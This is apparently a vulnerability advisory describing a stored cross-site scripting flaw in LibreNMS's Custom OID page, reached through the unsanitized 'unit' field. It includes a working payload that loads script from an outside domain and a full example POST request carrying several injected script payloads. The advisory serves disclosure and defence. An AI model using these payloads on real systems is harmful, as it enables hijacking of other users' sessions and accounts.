LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/print-customoid.php

Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the "Custom OID" tab of a device allows authenticated users to inject arbitrary JavaScript through the "unit" parameter when creating a new OID. This vulnerability can lead to the execution of malicious code in the context of other users' sessions, compromising their accounts and enabling unauthorized actions.

Details

When creating a new OID for a device, an attacker can inject an XSS payload into the "unit" parameter. This payload is reflected in the "Unit" column of the table displayed in the "Custom OID" tab of the device.

The payload used to exploit this vulnerability is: <script/src=//15.rs>

Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.

The vulnerability is due to improper sanitization of the "unit" parameter before rendering it in the HTML output. The sink is as follows: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/print-customoid.php#L90

PoC

1. Create a new OID for a device using the following payload in the "unit" parameter: <script/src=//15.rs>
2. Save the OID.
3. Navigate to the "Custom OID" tab of the device.
4. Observe that the injected script executes in the "Unit" column of the table.

Example Request:

POST /ajax_form.php HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-TOKEN: <your_token>
X-Requested-With: XMLHttpRequest
Cookie: <your_cookie>

device_id=15&device_name=test4'&ccustomoid_id=2&type=customoid&action=save&name=test1<script>{onerror=alert}throw+'OID'</script>&oid=test2<script>{onerror=alert}throw+'OID'</script>&unit=<script/src=//15.rs>&divisor=1&multiplier=1&user_func=test4<script>{onerror=alert}throw+'OID'</script>&limit=0&limit_low=0&limit_warn=0&limit_low_warn=0&passed=on

Impact

This vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the "Custom OID" tab of the device. This could lead to the compromise of user accounts and unauthorized actions being performed on their behalf.